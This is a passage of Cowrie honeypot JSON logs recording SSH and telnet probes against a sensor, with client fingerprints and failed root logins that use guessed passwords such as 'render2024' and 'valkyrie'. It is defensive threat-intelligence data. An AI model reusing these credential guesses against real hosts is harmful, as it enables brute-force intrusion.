16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:38.458648Z","src_ip":"166.62.89.133","session":"acad7ee483fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"render2024","message":"login attempt [root/render2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:38.653620Z","src_ip":"166.62.89.133","session":"acad7ee483fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:38.889221Z","src_ip":"87.156.182.84","session":"001a8b452b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:39.719444Z","src_ip":"166.62.89.133","session":"acad7ee483fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":55112,"dst_ip":"10.17.0.5","dst_port":22,"session":"b65e0074c46a","protocol":"ssh","message":"New connection: 91.92.40.11:55112 (10.17.0.5:22) [session: b65e0074c46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:52.400765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:52.468389Z","src_ip":"91.92.40.11","session":"b65e0074c46a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:52.678311Z","src_ip":"91.92.40.11","session":"b65e0074c46a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!root","message":"login attempt [root/!root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:53.124789Z","src_ip":"91.92.40.11","session":"b65e0074c46a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:54.331373Z","src_ip":"91.92.40.11","session":"b65e0074c46a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48372,"dst_ip":"159.203.135.109","dst_port":23,"session":"14538365f87f","protocol":"telnet","message":"New connection: 107.6.151.170:48372 (159.203.135.109:23) [session: 14538365f87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:54.793658Z"}
{"eventid":"cowrie.session.closed","duration":0.0026144981384277344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:54.796137Z","src_ip":"107.6.151.170","session":"14538365f87f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":44478,"dst_ip":"159.203.135.109","dst_port":22,"session":"87515dd4ead1","protocol":"ssh","message":"New connection: 103.27.238.114:44478 (159.203.135.109:22) [session: 87515dd4ead1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:05.393904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:05.397841Z","src_ip":"103.27.238.114","session":"87515dd4ead1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:05.661084Z","src_ip":"103.27.238.114","session":"87515dd4ead1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":33376,"dst_ip":"10.17.0.5","dst_port":23,"session":"146d02d1e45b","protocol":"telnet","message":"New connection: 72.167.226.244:33376 (10.17.0.5:23) [session: 146d02d1e45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:06.076433Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"m1a2m3a4","message":"login attempt [root/m1a2m3a4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:06.451638Z","src_ip":"103.27.238.114","session":"87515dd4ead1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:07.717209Z","src_ip":"103.27.238.114","session":"87515dd4ead1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":54386,"dst_ip":"10.17.0.5","dst_port":22,"session":"25eb0a53417b","protocol":"ssh","message":"New connection: 103.172.78.219:54386 (10.17.0.5:22) [session: 25eb0a53417b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:20.738184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:20.742055Z","src_ip":"103.172.78.219","session":"25eb0a53417b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:20.996019Z","src_ip":"103.172.78.219","session":"25eb0a53417b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"djctvm","message":"login attempt [root/djctvm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:21.759094Z","src_ip":"103.172.78.219","session":"25eb0a53417b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:23.015181Z","src_ip":"103.172.78.219","session":"25eb0a53417b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45838,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bc9f991905e","protocol":"ssh","message":"New connection: 77.94.47.83:45838 (10.17.0.5:22) [session: 5bc9f991905e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:33.652716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:33.656091Z","src_ip":"77.94.47.83","session":"5bc9f991905e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:33.765494Z","src_ip":"77.94.47.83","session":"5bc9f991905e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valkyrie","message":"login attempt [root/valkyrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:34.094119Z","src_ip":"77.94.47.83","session":"5bc9f991905e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:35.206620Z","src_ip":"77.94.47.83","session":"5bc9f991905e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.965124130249023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:37.041439Z","src_ip":"72.167.226.244","session":"146d02d1e45b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":33356,"dst_ip":"10.17.0.5","dst_port":22,"session":"c58a95c7ef2c","protocol":"ssh","message":"New connection: 91.92.40.11:33356 (10.17.0.5:22) [session: c58a95c7ef2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:14:59.792124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:15:00.151865Z","src_ip":"91.92.40.11","session":"c58a95c7ef2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:15:00.154829Z","src_ip":"91.92.40.11","session":"c58a95c7ef2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:15:01.100338Z","src_ip":"91.92.40.11","session":"c58a95c7ef2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:15:02.398067Z","src_ip":"91.92.40.11","session":"c58a95c7ef2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":35304,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf5b014b1b32","protocol":"ssh","message":"New connection: 154.16.115.34:35304 (159.203.135.109:22) [session: bf5b014b1b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:15:06.821774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:15:06.825903Z","src_ip":"154.16.115.34","session":"bf5b014b1b32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:15:06.850902Z","src_ip":"154.16.115.34","session":"bf5b014b1b32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atomic789","message":"login attempt [root/atomic789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:15:06.930136Z","src_ip":"154.16.115.34","session":"bf5b014b1b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:15:07.957864Z","src_ip":"154.16.115.34","session":"bf5b014b1b32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":55902,"dst_ip":"159.203.135.109","dst_port":23,"session":"672a8e24216d","protocol":"telnet","message":"New connection: 137.184.5.188:55902 (159.203.135.109:23) [session: 672a8e24216d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:15:40.385257Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":33538,"dst_ip":"159.203.135.109","dst_port":22,"session":"b254c42d8998","protocol":"ssh","message":"New connection: 162.144.213.198:33538 (159.203.135.109:22) [session: b254c42d8998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:00.266311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:00.270584Z","src_ip":"162.144.213.198","session":"b254c42d8998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:00.352876Z","src_ip":"162.144.213.198","session":"b254c42d8998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kr@k3n$M@st3r@P@ss","message":"login attempt [root/Kr@k3n$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:00.601258Z","src_ip":"162.144.213.198","session":"b254c42d8998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:01.689339Z","src_ip":"162.144.213.198","session":"b254c42d8998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":44944,"dst_ip":"10.17.0.5","dst_port":23,"session":"aae25de41097","protocol":"telnet","message":"New connection: 72.167.226.244:44944 (10.17.0.5:23) [session: aae25de41097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:03.958506Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":34590,"dst_ip":"10.17.0.5","dst_port":22,"session":"a94bc45b1c21","protocol":"ssh","message":"New connection: 91.92.40.11:34590 (10.17.0.5:22) [session: a94bc45b1c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:08.863520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:08.885007Z","src_ip":"91.92.40.11","session":"a94bc45b1c21","protocol":"ssh"}
